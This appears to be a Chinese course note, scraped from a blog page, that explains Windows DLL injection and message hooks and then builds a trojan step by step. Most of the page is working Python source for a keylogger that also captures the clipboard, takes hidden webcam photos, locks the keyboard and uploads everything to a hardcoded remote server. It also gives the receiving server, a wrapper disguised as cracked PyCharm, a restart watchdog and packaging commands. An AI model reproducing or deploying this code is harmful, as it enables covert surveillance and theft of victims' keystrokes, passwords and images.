• day43-癞蛤蟆项目原理


    1、攻击原理解析

    一、什么是dll

    动态链接库(Dynamic Link Library 或者 Dynamic-link Library,缩写为 DLL)
    是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。
    这些库函数的扩展名是 ”.dll"、".ocx"(包含ActiveX控制的库)或者 ".drv"(旧式的系统驱动程序)。
    

    pip3 install

    二、为何要有dll

    由于进程的地址空间是独立的(保护模式),当多个进程共享相同的库时,每个库都在硬盘和进程彼此的内存
    存放一份的话,对于早期的计算机来说,无疑是一种极大的浪费,于是windows系统推出了dll机制,
    dll在硬盘上存为一个文件,在内存中使用一个实例(instance)。
    
    详细如下:
    在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,
    每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。
    理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,
    那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。
    因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。
    

    三、什么是dll注入:

    我们可以利用dll机制来实训进程通信或控制其它进程的应用程序。 
    所谓的dll注入正是是让进程A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码,从而
    达到A进程控制B进程的目的
    
    注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,
    程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,
    因此程序B的开发者可以对程序A为所欲为。
    

    四、什么时候需要dll注入

    应用程序一般会在以下情况使用dll注入技术来完成某些功能:
    1.为目标进程添加新的“实用”功能;
    2.需要一些手段来辅助调试被注入dll的进程;
    3.为目标进程安装钩子程序(API Hook);
    

    五、dll注入的方法

      一般情况下有如下dll注入方法:    
        1.修改注册表来注入dll;
        2.使用CreateRemoteThread函数对运行中的进程注入dll;
        3.使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll;
        4.替换应用程序一定会使用的dll;
        5.把dll作为调试器来注入;
        6.用CreateProcess对子进程注入dll
        7.修改被注入进程的exe的导入地址表。
    	ps:
    	杀毒软件常用钩子来进行处理
    

    六、使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll

    ctypes是Python的外部函数库,从Python2.5开始引入。它提供了C兼容的数据类型,
    并且允许调用动态链接库/共享库中的函数。它可以将这些库包装起来给Python使用。
    
    ctypes.windll.user32下主要用到三个函数,分别是SetWindowsHookEx() 、CallNextHookEx()和UnhookWindowsHookEx()
    

    消息钩子:Windows操作系统为用户提供了GUI(Graphic User Interface,图形用户界面),
    它以事件驱动方式工作。在操作系统中借助键盘、鼠标、选择菜单、按钮、移动鼠标、改变窗口大小与位置等都是事件。
    发生这样的事件时,操作系统会把事先定义好的消息发送给相应的应用程序,应用程序分析收到的信息后会执行相应的动作。
    也就是说,在敲击键盘时,消息会从操作系统移动到应用程序。
    所谓的消息钩子就是在此期间偷看这些信息。以键盘输入事件为例,消息的流向如下:
      1.发生键盘输入时,WM_KEYDOWN消息被添加到操作系统的消息队列中;
      2.操作系统判断这个消息产生于哪个应用程序,并将这个消息从消息队列中取出,添加到相应的应用程序的消息队列中;
      3.应用程序从自己的消息队列中取出WM_KEYDOWN消息并调用相应的处理程序。
      当我们的钩子程序启用后,操作系统在将消息发送给用用程序前会先发送给每一个注册了相应钩子类型的钩子函数。钩子函数可以对这一消息做出想要的处理(修改、拦截等等)。多个消息钩子将按照安装钩子的先后顺序被调用,这些消息钩子在一起组成了"钩链"。消息在钩链之间传递时任一钩子函数拦截了消息,接下来的钩子函数(包括应用程序)将都不再收到该消息。
      像这样的消息钩子功能是Windows提供的最基本的功能,MS Visual Studio中提供的SPY++就是利用了这一功能来实现的,SPY++是一个十分强大的消息钩取程序,它能够查看操作系统中来往的所有消息。
      消息钩子是使用SetWindowsHookEx来实现的。函数的原型如下:

    HHOOK WINAPI SetWindowsHookEx(
      _In_ int       idHook,
      _In_ HOOKPROC  lpfn,
      _In_ HINSTANCE hMod,
      _In_ DWORD     dwThreadId
    );
    

    idHook参数是消息钩子的类型,可以选择的类型在MSDN中可以查看到相应的宏定义。比如我们想对所有的键盘消息做挂钩,其取值将是WH_KEYBOARD,WH_KEYBOARD这个宏的值是2。
      lpfn参数是钩子函数的起始地址,注意:不同的消息钩子类型的钩子函数原型是不一样的,因为不同类型的消息需要的参数是不同的,具体的钩子函数原型需要查看MSDN来获得。注意:钩子函数可以在结束前任意位置调用CallNextHookEx函数来执行钩链的其他钩子函数。当然,如果不调用这个函数,钩链上的后续钩子函数将不会被执行。
      hMod参数是钩子函数所在的模块的模块句柄。
      dwThreadId参数用来指示要对哪一个进程/线程安装消息钩子。如果这个参数为0,安装的消息钩子称为“全局钩子”,此时将对所有的进程(当前的进程以及以后要运行的所有进程)下这个消息钩子。注意:有的类型的钩子只能是全局钩子。
      注意:钩子函数应当放在一个dll中,并且在你的进程中LoadLibrary这个dll。然后再调用SetWindowsHookEx函数对相应类型的消息安装钩子。
      当SetWindowsHookEx函数调用成功后,当某个进程生成这一类型的消息时,操作系统会判断这个进程是否被安装了钩子,如果安装了钩子,操作系统会将相关的dll文件强行注入到这个进程中并将该dll的锁计数器递增1。然后再调用安装的钩子函数。整个注入过程非常方便,用户几乎不需要做什么。
      当用户不需要再进行消息钩取时只需调用UnhookWindowsHookEx即可解除安装的消息钩子,函数的原型如下:

    BOOL WINAPI UnhookWindowsHookEx(
      _In_ HHOOK hhk
    );
    

    hhk参数是之前调用SetWindowsHookEx函数返回的HOOK变量/句柄。这个函数调用成功后会使被注入过dll的锁计数器递减1,当锁计数器减到0时系统会卸载被注入的dll。

    这种类型的dll注入的优点是注入简单,缺点是只能对windows消息进行Hook并注入dll,而且注入dll可能不是立即被注入,因为这需要相应类型的事件发生。其次是它不能进行其他API的Hook,如果想对其它的函数进行Hook,你需要再在被注入的dll中添加用于API Hook的代码。
      dll注入代码包含两部分,一部分是dll的源文件,另一部分是控制台程序的源代码。
    HMODULE Hmod = LoadLibraryA(“hookdll.dll”);

    七:准备工作

    #1、最新anocoda3.7
    https://www.anaconda.com/distribution/#download-section
    
    #2、提速下载可以改变源
    pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
    
    #3、安装pywin32,安装时指定安装目录,默认为C:Python37Libsite-packages
    https://github.com/mhammond/pywin32/releases
    
    #4、安装opencv-python
    pip install opencv-python
    
    #5、安装pyinstaller,依赖pyin32
    pip install pyinstaller
    
    #6、ico文件准备好
    在线制作
    or
    https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html
    
    #7、了解一下要用到的功能:
    from time import sleep,strftime
    from os import listdir,remove
    from os.path import exists, getsize,abspath,expanduser,basename
    from sys import exit
    from struct import pack
    from json import dumps
    from socket import socket, AF_INET, SOCK_STREAM
    from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard
    from win32con import HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ, FILE_ATTRIBUTE_HIDDEN, WH_KEYBOARD_LL, WM_KEYDOWN
    from win32api import GetConsoleTitle, RegOpenKey, RegSetValueEx, RegCloseKey, SetFileAttributes
    from win32gui import FindWindow, ShowWindow
    from cv2 import VideoCapture, CAP_DSHOW, imwrite, destroyAllWindows
    
    from ctypes import windll  # windll.user32、windll.kernel32
    from ctypes import CFUNCTYPE
    from ctypes import byref
    from ctypes import POINTER
    from ctypes import c_int, c_void_p
    from ctypes.wintypes import MSG
    
    from threading import Timer
    from threading import Thread
    from threading import Lock
    

    步骤

    1、先编写病毒程序=>WinCoreManagerment.py

    监听键盘输入->并记录日志
    锁定键盘功能
    偷拍功能->保存图片文件
    上传数据功能:套接字客户度
    

    WinCoreManagerment.py

    import sys
    import os
    import time
    import socket
    import struct
    import json
    import win32clipboard  # 剪贴板操作,需要安装pywin32才可以
    import win32con
    import win32api
    import cv2
    
    from ctypes import windll
    from ctypes import CFUNCTYPE
    from ctypes import POINTER
    from ctypes import c_int, c_void_p
    from ctypes import byref
    from ctypes.wintypes import MSG
    
    from threading import Timer
    from threading import Thread
    from threading import Lock
    
    
    # 工具
    class Utils:
        def __init__(self):
            # 用户家目录
            self.base_dir = os.path.expanduser('~')  # 权限问题
    
            # 初始化生成日志文件
            self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir
            open(self.log_path, 'a', encoding='utf-8').close()
            win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN)
    
            # 定义两把锁,控制读写
            self.mutex_log = Lock()  # 日志锁
            self.mutex_photo = Lock()  # 照片锁
            self.mutex_sock = Lock()  # 套接字上传锁
            # 服务端的ip和port
            self.server_ip = '115.29.65.16'
            self.server_port = 9999
    
            # 本地调试日志
            self.debug = True
            self.debug_log_path = r'%s/debug_log' % self.base_dir
            self.mutex_debug = Lock()
    
        def log_debug(self, res):
            if not self.debug:
                return
            self.mutex_debug.acquire()
            with open(self.debug_log_path, mode='a', encoding='utf-8') as f:
                f.write('
    %s
    ' % res)
                f.flush()
            self.mutex_debug.release()
    
        def log(self, res):
            self.mutex_log.acquire()
            with open(self.log_path, mode='a', encoding='utf-8') as f:
                f.write(res)
                f.flush()
            self.mutex_log.release()
    
        def take_photoes(self):
            while True:
                time.sleep(10)
                photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S'))
                cap = None
    
                try:
                    # VideoCapture()中第一个参数是摄像头标号,默认情况电脑自带摄像头索引为0,外置为1.2.3…,
                    # 参数是视频文件路径则打开视频,如cap = cv2.VideoCapture(“../test.avi”)
                    # CAP_DSHOW是微软特有的,cv2.release()之后摄像头依然开启,需要指定该参数
                    cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
                    ret, frame = cap.read()
                    self.mutex_photo.acquire()
                    cv2.imwrite(photo_path, frame)
                except Exception as e:
                    self.log_debug('照相异常: %s' % e)
                finally:
                    # 无论如何都要释放锁,关闭相机
                    self.mutex_photo.release()
                    if cap is not None:
                        cap.release()  # None.release()
                    cv2.destroyAllWindows()
    
                if os.path.exists(photo_path):
                    win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)
    
        def send_data(self, headers, data):
            try:
                self.mutex_sock.acquire()  # 上传数据的过程中不要做其他事情
                client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                client.connect((self.server_ip, self.server_port))
    
                head_json = json.dumps(headers)
                head_json_bytes = bytes(head_json, encoding='utf-8')
                client.send(struct.pack('i', len(head_json_bytes)))
                client.send(head_json_bytes)
                client.sendall(data)
                client.close()
    
                res = (True, 'ok')
            except ConnectionRefusedError as e:
                msg = '套接字服务端未启动: %s' % e
                res = (False, msg)
            except Exception as e:
                msg = '套接字其他错误:%s' % e
                res = (False, msg)
            finally:
                self.mutex_sock.release()
            return res
    
        def upload_log(self):
            while True:
                time.sleep(1)
    
                if not os.path.getsize(self.log_path):
                    continue
    
                self.mutex_log.acquire()
                with open(self.log_path, mode='rb+') as f:
                    data = f.read()
                    self.mutex_log.release()
    
                    headers = {
                        'data_size': len(data),
                        'filename': os.path.basename(self.log_path)
                    }
    
                    self.log_debug('正在往服务端发送日志......[%s]' % data)
    
                    is_ok, msg = self.send_data(headers, data)
                    if is_ok:
                        self.log_debug('日志[%s]发送成功。。。' % data)
                    else:
                        self.log_debug('日志[%s]发送失败:%s' % (data, msg))
                        continue
    
                    f.truncate(0)
    
        def upload_photoes(self):
            while True:
                time.sleep(3)
    
                files = os.listdir(self.base_dir)
                files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')]
                for file_name in files_jpeg:
                    file_path = r'%s/%s' % (self.base_dir, file_name)
                    if not os.path.exists(file_path):
                        continue
    
                    self.log_debug('开始上传图片: %s' % file_name)
                    headers = {
                        'data_size': os.path.getsize(file_path),
                        'filename': file_name
                    }
    
                    self.mutex_photo.acquire()
                    with open(file_path, mode='rb+') as f:
                        data = f.read()
                    self.mutex_photo.release()
    
                    is_ok, msg = self.send_data(headers, data)
                    if is_ok:
                        self.log_debug('图片%s发送完毕......' % file_name)
                    else:
                        self.log_debug('图片%s发送失败:%s' % (file_name, msg))
                        continue
    
                    os.remove(file_path)
    
    
    utils = Utils()
    
    
    # 定义类:定义拥有挂钩与拆钩功能的类
    class Toad:
        def __init__(self):
            self.user32 = windll.user32
            self.hooked = None
    
        def __install_hook_proc(self, pointer):
            self.hooked = self.user32.SetWindowsHookExA(
                win32con.WH_KEYBOARD_LL,  # WH_KEYBOARD_LL = 13  # 全局的键盘钩子,能拦截所有的键盘按键的消息。
                pointer,
                0,  # 钩子函数的dll句柄,此处设置为0即可
                0  # 所有线程
            )  # self.hooked 为注册钩子返回的句柄
            return True if self.hooked else False
    
        def install_hook_proc(self, func):
            CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
            pointer = CMPFUNC(func)  # 拿到函数hookProc指针,
    
            if self.__install_hook_proc(pointer):
                utils.log_debug("%s start " % func.__name__)
    
            msg = MSG()
            # 监听/获取窗口的消息,消息进入队列后则取出交给勾链中第一个钩子
            self.user32.GetMessageA(byref(msg), None, 0, 0)
    
        def uninstall_hook_proc(self):
            if self.hooked is None:
                return
            self.user32.UnhookWindowsHookEx(self.hooked)  # 通过钩子句柄删除注册的钩子
            self.hooked = None
    
    
    toad_obj = Toad()
    
    
    # 2、定义钩子过程(即我们要注入的逻辑):
    def monitor_keyborad_proc(nCode, wParam, lParam):
        # win32con.WM_KEYDOWN = 0X0100  # 键盘按下,对应数字256
        # win32con.WM_KEYUP = 0x101  # 键盘起来,对应数字257,监控键盘只需要操作KEYDOWN即可
        if wParam == win32con.WM_KEYDOWN:
            hookedKey_ascii = 0xFFFFFFFF & lParam[0]
            hookedKey = chr(hookedKey_ascii)
    
            utils.log_debug('监听到hookeKey:[%s]  hookedKey_ascii:[%s]' % (hookedKey, hookedKey_ascii))
    
            keyboard_dic = {
                220: r'<`>',
                189: r'<->',
                187: r'<=>',
                8: r'<删除键>',
    
                9: r'<tab>',
                219: r'<[>',
                221: r'<]>',
                222: r'<>',
    
                20: r'<大小写锁定>',
                186: r'<;>',
                192: r"<'>",
                13: r'<enter>',
    
                160: r'<lshift>',
                188: r'<,>',
                190: r'<.>',
                191: r'</>',
                161: r'<rshift>',
    
                162: r'<ctrl>',
                32: r'<space>',
                37: r'<左箭头>',
                38: r'<上箭头>',
                39: r'<右箭头>',
                40: r'<下箭头>',
            }
    
            if (hookedKey == 'Q'):  # 测试时打开,正式运行时注释这一段即可
                toad_obj.uninstall_hook_proc()
                sys.exit(-1)
                # pass
    
            if hookedKey_ascii in keyboard_dic:  # 按下了了非常规键
                res = keyboard_dic[hookedKey_ascii]
                utils.log_debug('监听到输入: %s' % res)
                utils.log(res)
    
            if hookedKey_ascii > 32 and hookedKey_ascii < 127:  # 检测击键是否常规按键(非组合键等)
                if hookedKey == 'V' or hookedKey == 'C':
                    win32clipboard.OpenClipboard()
                    paste_value = win32clipboard.GetClipboardData()  # 获取粘贴板的值
                    win32clipboard.CloseClipboard()
    
                    if paste_value:  # 剪贴板有值,则代表上述V和C的输入是组合键,用户输入的有效数据在剪贴板里放着
                        utils.log(paste_value)
                        utils.log_debug('粘贴值: %s' % paste_value)
                else:
                    utils.log_debug('监听到输入: %s' % repr(hookedKey))
                    utils.log(hookedKey)
    
        # CallNextHookEx将钩子的信息重新放回钩链中
        return windll.user32.CallNextHookEx(toad_obj.hooked, nCode, wParam, lParam)
    
    
    # 钩链:钩1,钩2
    def lock_keyboard_proc(nCode, wParam, lParam):
        utils.log_debug('锁定键盘程序正在执行。。。。。。。。')
        return 123123123123123
    
    
    if __name__ == '__main__':
        # 监听键盘输入->并记录日志
        t1 = Thread(target=toad_obj.install_hook_proc, args=(monitor_keyborad_proc,))
        # 锁定键盘功能
        t2 = Timer(120, toad_obj.install_hook_proc, args=[lock_keyboard_proc, ])
    
        # 偷拍功能->保存图片文件
        t3 = Thread(target=utils.take_photoes)
    
        # 上传数据功能:日志文件、图片文件
        t4 = Thread(target=utils.upload_log)
        t5 = Thread(target=utils.upload_photoes)
    
        t2.daemon = True
        t3.daemon = True
        t4.daemon = True
        t5.daemon = True
    
        t1.start()
        t2.start()
        t3.start()
        t4.start()
        t5.start()
    
        t1.join()
    
    

    2、编写服务端(socketserver)

    secureCRT图形界面-》windows
    系统自带scp命令-》linux
    python的模块-》paramiko模块
    纯手写客户端套接字
    

    Toad_server.py

    import socketserver
    import struct
    import json
    import os
    import time
    
    
    class ToadServer(socketserver.BaseRequestHandler):
        coding = 'utf-8'
        max_packet_size = 1024
    
        def handle(self):
            ip, port = self.client_address
            with open(r'access.log', mode='a', encoding='utf-8') as f:
                f.write('[%s] 癞蛤蟆病毒感染者-> %s:%s 正在上传数据
    ' % (time.strftime('%Y-%m-%d-%H:%M:%S'), ip, port))
    
            try:
                head = self.request.recv(4)
                head_json_len = struct.unpack('i', head)[0]
                head_json = json.loads(self.request.recv(head_json_len).decode('utf-8'))
                data_len = head_json['data_size']
                filename = head_json['filename']
    
                recv_size = 0
                recv_data = b''
                with open(r'client_msg/client_%s_%s' % (ip, filename), 'ab') as f:
                    while recv_size < data_len:
                        recv_data = self.request.recv(1024)
                        f.write(recv_data)
                        recv_size += len(recv_data)
    
            except Exception as e:
                # 客户端断开
                self.request.close()
    
    
    myserver = socketserver.ThreadingTCPServer(('0.0.0.0', 9999), ToadServer)
    myserver.serve_forever()
    
    

    3、服务端部署,修改安全组,开发端口

    5、病毒程序制作二进制

    frozen.py

    '''
    Pyinstaller多进程代码打包exe出现多个进程解决方案
    '''
    
    import os
    import sys
    import multiprocessing
    
    # Module multiprocessing is organized differently in Python 3.4+
    try:
        # Python 3.4+
        if sys.platform.startswith('win'):
            import multiprocessing.popen_spawn_win32 as forking
        else:
            import multiprocessing.popen_fork as forking
    except ImportError:
        import multiprocessing.forking as forking
    
    if sys.platform.startswith('win'):
        # First define a modified version of Popen.
        class _Popen(forking.Popen):
            def __init__(self, *args, **kw):
                if hasattr(sys, 'frozen'):
                    # We have to set original _MEIPASS2 value from sys._MEIPASS
                    # to get --onefile mode working.
                    os.putenv('_MEIPASS2', sys._MEIPASS)
                try:
                    super(_Popen, self).__init__(*args, **kw)
                finally:
                    if hasattr(sys, 'frozen'):
                        # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                        # available. In those cases we cannot delete the variable
                        # but only set it to the empty string. The bootloader
                        # can handle this case.
                        if hasattr(os, 'unsetenv'):
                            os.unsetenv('_MEIPASS2')
                        else:
                            os.putenv('_MEIPASS2', '')
    
                            # Second override 'Popen' class with our modified version.
    
    
        forking.Popen = _Popen
    

    6、病毒程序进行伪装处理,并打包成exe

    6.1 编写伪装文件:"pycharm破解版.py"
    
    6.2 编写无限重启文件:"System.py"
    
    6.3 打包制作二进制exe
        pyinstaller -i system.ico -Fw WinCoreManagement.py
        pyinstaller -i system.ico -Fw System.py
        pyinstaller -i pycharm.ico -Fw pycharm破解版.py
        指定-w参数后就不要设置后台运行了
    
    6.4 将三个exe文件放入正常pycharm软件包下的bin目录下
    

    pycharm破解版.py

    import os
    import subprocess
    import time
    import frozen  # Pyinstaller多进程代码打包exe出现多个进程解决方案
    import multiprocessing
    
    
    if __name__ == '__main__':
        multiprocessing.freeze_support()  # Pyinstaller多进程代码打包exe出现多个进程解决方案
        os.chdir(r'.')
        subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序
        subprocess.Popen(r'System.exe') # System.exe负责无限重启病毒程序WinCoreManagerment.exe
    
        time.sleep(20)
    
    

    System.py

    import frozen  # Pyinstaller多进程代码打包exe出现多个进程解决方案
    import multiprocessing
    import subprocess
    import time
    import sys
    import os
    import win32con
    import win32api
    
    CMD = r"WinCoreManagement.exe"  # 需要执行程序的绝对路径
    
    
    def run(cmd):
        # print('start OK!')
        os.chdir(os.path.dirname(os.path.abspath(__file__)))
        p = subprocess.Popen(cmd, shell=False)
        p.wait()  # 类似于p.join()
        try:
            subprocess.call('start /b taskkill /F /IM %s' % CMD)  # 清理残余
        except Exception as e:
            # print(e)
            pass
    
        # print('子进程关闭,重启')
        run(cmd)
    
    
    if __name__ == '__main__':
        multiprocessing.freeze_support()  # Pyinstaller多进程代码打包exe出现多个进程解决方案
    
        run(CMD)
    
    

    7、杀毒方法

    taskkill /F /IM System.exe
    
    taskkill /F /IM WinCoreManagement.exe
    
    taskkill /F /IM pycharm.exe
    
  • 相关阅读:
    【题解】Luogu CF817F MEX Queries
    【题解】Luogu P4396 [AHOI2013]作业
    【题解】Luogu P4198 楼房重建
    【题解】Luogu P1471 方差
    【题解】Luogu P4069 [SDOI2016]游戏
    【题解】Luogu P4097 [HEOI2013]Segment
    李超线段树略解
    【题解】JSOIWC2019 Round 5
    【题解】Luogu P2763 试题库问题
    【题解】JSOIWC2019 Round4
  • 原文地址:https://www.cnblogs.com/zdw20191029/p/14553328.html
Copyright © 2020-2023  润新知